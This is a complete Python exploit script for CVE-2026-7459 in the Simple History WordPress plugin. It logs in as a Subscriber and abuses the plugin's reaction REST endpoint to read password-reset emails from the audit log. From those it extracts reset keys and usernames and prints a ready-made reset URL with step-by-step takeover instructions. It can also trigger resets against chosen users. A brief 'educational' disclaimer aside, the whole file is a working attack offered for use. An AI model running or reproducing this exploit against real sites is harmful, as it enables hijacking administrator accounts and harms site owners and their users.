#!/usr/bin/env python3 """ CVE-2026-7459 Simple History Missing Authorization Account Takeover Exploit CVSS: 7.5 (High) Subscriber-level attackers can bypass authorization on the reaction REST endpoint to read password-reset emails from the audit log, including the reset key. This allows complete account takeover of any user, including administrators. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json from urllib.parse import urljoin, quote, urlparse from bs4 import BeautifulSoup class SimpleHistoryExploit: def __init__(self, target_url, username, password, verbose=False): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.auth_token = None self.user_id = None def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def login(self): """Authenticate as Subscriber user""" self.log("Attempting to authenticate as Subscriber...") login_url = urljoin(self.target_url, '/wp-login.php') try: # Get login page resp = self.session.get(login_url, timeout=10) # Prepare login payload login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1' } resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True) # Check if login was successful if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower(): self.log("Authentication successful!", "SUCCESS") # Extract user ID user_id_match = re.search(r'user_id["\']?\s*[=:]\s*["\']?(\d+)["\']?', resp.text) if user_id_match: self.user_id = user_id_match.group(1) self.log(f"User ID: {self.user_id}", "INFO") return True else: self.log("Authentication failed", "ERROR") return False except Exception as e: self.log(f"Login error: {e}", "ERROR") return False def check_experimental_features(self): """Check if experimental features are enabled""" self.log("Checking if experimental features are enabled...") try: # Try to access the reaction endpoint api_url = urljoin( self.target_url, '/wp-json/simple-history/v1/events/1/react' ) resp = self.session.post( api_url, json={'type': 'thumbs_up'}, timeout=10 ) # If we get 404 with 'rest_reactions_disabled', features are off if resp.status_code == 404 and 'rest_reactions_disabled' in resp.text: self.log("Experimental features are DISABLED", "ERROR") return False # Any other response means features might be enabled self.log("Experimental features appear to be ENABLED", "SUCCESS") return True except Exception as e: self.log(f"Error checking experimental features: {e}") return True # Assume enabled and continue def enumerate_events(self, limit=100): """Enumerate audit log events""" self.log(f"Enumerating audit log events (limit: {limit})...") events = [] try: api_url = urljoin(self.target_url, '/wp-json/simple-history/v1/events') params = { 'per_page': limit, '_fields': 'id,logger,action,date' } resp = self.session.get(api_url, params=params, timeout=15) if resp.status_code == 200: try: events_data = resp.json() if isinstance(events_data, list): events = events_data self.log(f"Found {len(events)} events", "SUCCESS") else: self.log("Unexpected response format", "ERROR") except json.JSONDecodeError: self.log("Failed to parse JSON response", "ERROR") else: self.log(f"Failed to enumerate events: {resp.status_code}", "ERROR") except Exception as e: self.log(f"Error enumerating events: {e}", "ERROR") return events def find_password_reset_events(self, events=None): """Find password reset events in the audit log""" self.log("Searching for password reset events...") if not events: events = self.enumerate_events() reset_events = [] for event in events: if isinstance(event, dict): # Look for password reset related events logger = event.get('logger', '').lower() action = event.get('action', '').lower() if 'password' in logger or 'password' in action or \ 'reset' in logger or 'reset' in action or \ 'user_requested_password_reset' in action: reset_events.append(event) self.log(f"Found reset event: ID={event.get('id')}, Action={action}", "INFO") return reset_events def read_event_context(self, event_id): """Read full event context via reaction endpoint""" self.log(f"Reading event context for event ID: {event_id}...") try: # Use the vulnerable reaction endpoint api_url = urljoin( self.target_url, f'/wp-json/simple-history/v1/events/{event_id}/react' ) # Request with _fields=context to get sensitive data params = { '_fields': 'context,id,logger,action,date' } data = { 'type': 'thumbs_up' } resp = self.session.post(api_url, json=data, params=params, timeout=15) self.log(f"Response Status: {resp.status_code}", "INFO") if resp.status_code == 200: try: event_data = resp.json() self.log(f"Event context retrieved successfully!", "SUCCESS") return event_data except json.JSONDecodeError: self.log("Failed to parse JSON response", "ERROR") return None else: self.log(f"Failed to read context: {resp.status_code}", "ERROR") self.log(f"Response: {resp.text[:300]}", "INFO") return None except Exception as e: self.log(f"Error reading event context: {e}", "ERROR") return None def extract_reset_key(self, email_body): """Extract password reset key from email body""" self.log("Extracting password reset key from email body...") # Look for reset key in various formats patterns = [ r'key=([a-zA-Z0-9]+)', r'action=rp&key=([a-zA-Z0-9]+)', r'reset.*?key["\']?\s*[=:]\s*["\']?([a-zA-Z0-9]+)["\']?', r'https?://[^\s]+key=([a-zA-Z0-9]+)' ] for pattern in patterns: match = re.search(pattern, email_body) if match: reset_key = match.group(1) self.log(f"Reset key extracted: {reset_key}", "SUCCESS") return reset_key self.log("Could not extract reset key", "ERROR") return None def extract_username(self, email_body): """Extract username from email body""" self.log("Extracting username from email body...") # Look for login parameter patterns = [ r'login=([a-zA-Z0-9_-]+)', r'user["\']?\s*[=:]\s*["\']?([a-zA-Z0-9_-]+)["\']?' ] for pattern in patterns: match = re.search(pattern, email_body) if match: username = match.group(1) self.log(f"Username extracted: {username}", "SUCCESS") return username self.log("Could not extract username", "ERROR") return None def generate_reset_url(self, username, reset_key): """Generate password reset URL""" reset_url = urljoin( self.target_url, f'/wp-login.php?action=rp&key={reset_key}&login={quote(username)}' ) return reset_url def exploit_account(self, target_username=None): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-7459 Simple History Missing Authorization Account Takeover") print("="*70 + "\n") # Step 1: Login as Subscriber if not self.login(): return False # Step 2: Check experimental features if not self.check_experimental_features(): self.log("Exploit requires experimental features to be enabled", "CRITICAL") return False # Step 3: Enumerate events events = self.enumerate_events() if not events: self.log("Could not enumerate events", "ERROR") return False # Step 4: Find password reset events reset_events = self.find_password_reset_events(events) if not reset_events: self.log("No password reset events found", "ERROR") self.log("Trying to trigger a password reset...", "INFO") # In real scenario, we'd need to trigger a reset first return False # Step 5: Read event context via vulnerable endpoint for event in reset_events: event_id = event.get('id') self.log(f"\nAttempting to read context for event {event_id}...", "INFO") event_data = self.read_event_context(event_id) if not event_data: continue # Step 6: Extract reset key and username context = event_data.get('context', {}) if isinstance(context, dict): email_body = context.get('message', '') else: email_body = str(context) if not email_body: self.log("No email body found in context", "ERROR") continue self.log(f"Email body (first 200 chars): {email_body[:200]}", "INFO") reset_key = self.extract_reset_key(email_body) username = self.extract_username(email_body) if not reset_key or not username: self.log("Could not extract reset key or username", "ERROR") continue # Step 7: Generate reset URL reset_url = self.generate_reset_url(username, reset_key) print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Victim Username: {username}") print(f"Reset Key: {reset_key}") print(f"\nPassword Reset URL:") print(f"{reset_url}") print(f"\nNext Steps:") print(f"1. Visit the reset URL above") print(f"2. Set a new password") print(f"3. Log in as {username}") print("="*70 + "\n") return True return False def trigger_password_reset(self, target_username): """Trigger a password reset for a target user""" self.log(f"Triggering password reset for user: {target_username}...") try: # Access the forgot password form forgot_url = urljoin(self.target_url, '/wp-login.php?action=lostpassword') resp = self.session.get(forgot_url, timeout=10) if resp.status_code != 200: self.log("Could not access forgot password form", "ERROR") return False # Submit password reset request reset_data = { 'user_login': target_username, 'wp-submit': 'Get New Password' } resp = self.session.post(forgot_url, data=reset_data, timeout=15) if resp.status_code == 200: self.log("Password reset triggered", "SUCCESS") time.sleep(2) # Wait for log entry return True else: self.log("Failed to trigger password reset", "ERROR") return False except Exception as e: self.log(f"Error triggering password reset: {e}", "ERROR") return False class EventAnalyzer: """Analyze audit log events""" @staticmethod def filter_by_logger(events, logger_name): """Filter events by logger""" return [e for e in events if e.get('logger') == logger_name] @staticmethod def filter_by_action(events, action_name): """Filter events by action""" return [e for e in events if action_name in e.get('action', '')] @staticmethod def filter_by_date_range(events, start_date, end_date): """Filter events by date range""" filtered = [] for event in events: event_date = event.get('date', '') if start_date <= event_date <= end_date: filtered.append(event) return filtered @staticmethod def get_user_events(events, user_id): """Get events for specific user""" return [e for e in events if str(user_id) in str(e.get('context', {}))] def main(): parser = argparse.ArgumentParser( description='CVE-2026-7459 Simple History Missing Authorization Account Takeover' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-u', '--username', required=True, help='Subscriber username') parser.add_argument('-p', '--password', required=True, help='Subscriber password') parser.add_argument('-t', '--target-user', help='Target username to takeover (optional)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--enumerate', action='store_true', help='Enumerate events only') parser.add_argument('--trigger', metavar='USERNAME', help='Trigger password reset for user') parser.add_argument('--read-event', type=int, metavar='EVENT_ID', help='Read specific event context') args = parser.parse_args() # Create exploit instance exploit = SimpleHistoryExploit( args.target, args.username, args.password, verbose=args.verbose ) # Enumerate only if args.enumerate: if not exploit.login(): sys.exit(1) events = exploit.enumerate_events() print(f"\n[+] Found {len(events)} events:") for event in events: print(f" ID: {event.get('id')}, Logger: {event.get('logger')}, Action: {event.get('action')}") sys.exit(0) # Trigger password reset if args.trigger: if not exploit.login(): sys.exit(1) exploit.trigger_password_reset(args.trigger) sys.exit(0) # Read specific event if args.read_event: if not exploit.login(): sys.exit(1) event_data = exploit.read_event_context(args.read_event) if event_data: print(json.dumps(event_data, indent=2)) sys.exit(0) # Full exploit success = exploit.exploit_account(args.target_user) sys.exit(0 if success else 1) if __name__ == '__main__': main()